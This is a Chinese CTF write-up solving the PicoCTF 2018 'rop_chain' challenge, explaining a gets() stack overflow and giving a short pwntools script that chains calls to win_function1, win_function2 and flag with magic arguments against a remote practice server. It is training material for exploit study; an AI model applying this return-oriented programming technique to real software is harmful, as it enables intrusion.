PicoCTF_2018_rop_chain

PicoCTF_2018_rop_chain

使用checksec查看:
在这里插入图片描述
只开启了栈不可执行,放入IDA中查看:
在这里插入图片描述
主函数中直接给出了漏洞函数,跟进查看:
在这里插入图片描述
很明显gets()函数存在一个栈溢出,距离ebp0x18

查看发现存在flag.txt字符串,跟进可以发现函数falg,:
在这里插入图片描述
将flag读入到了参数s里面,满足条件win1&&win2 &&a1==-59039827的条件,就能读出flag

找到win1赋值的函数:
在这里插入图片描述
发现win1已经被赋值1,可以不用管,

接着看win2赋值的函数:
在这里插入图片描述
当满足win1 && a1 == -1163220307时,win2将被赋值1,这里win1已经满足了,所以只需要给win_function2传参时,将参数设置成-1163220307即可。

满足win1win2后再返回来看flag函数,最后只需要满足a1 == -559039827即可输出flag。

a1是从flag函数的参数中获取的,也是我们可控的。

这样完整的rop就可以实现了。

exp:

from pwn import *

#start
r = remote("node4.buuoj.cn",26324)
# r = process("../buu/picoctf_2018_rop chain")
elf = ELF("../buu/PicoCTF_2018_rop_chain")


#params
flag_addr = elf.symbols['flag']
win1_addr = elf.symbols['win_function1']
win2_addr = elf.symbols['win_function2']
win2_a = 0x0BAAAAAAD
flag_a = 0x0DEADBAAD

#attack
payload = b'M'*(0x18+4) + p32(win1_addr) + p32(win2_addr) + p32(flag_addr) + p32(win2_a) + p32(flag_a)
r.sendlineafter("input> ",payload)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值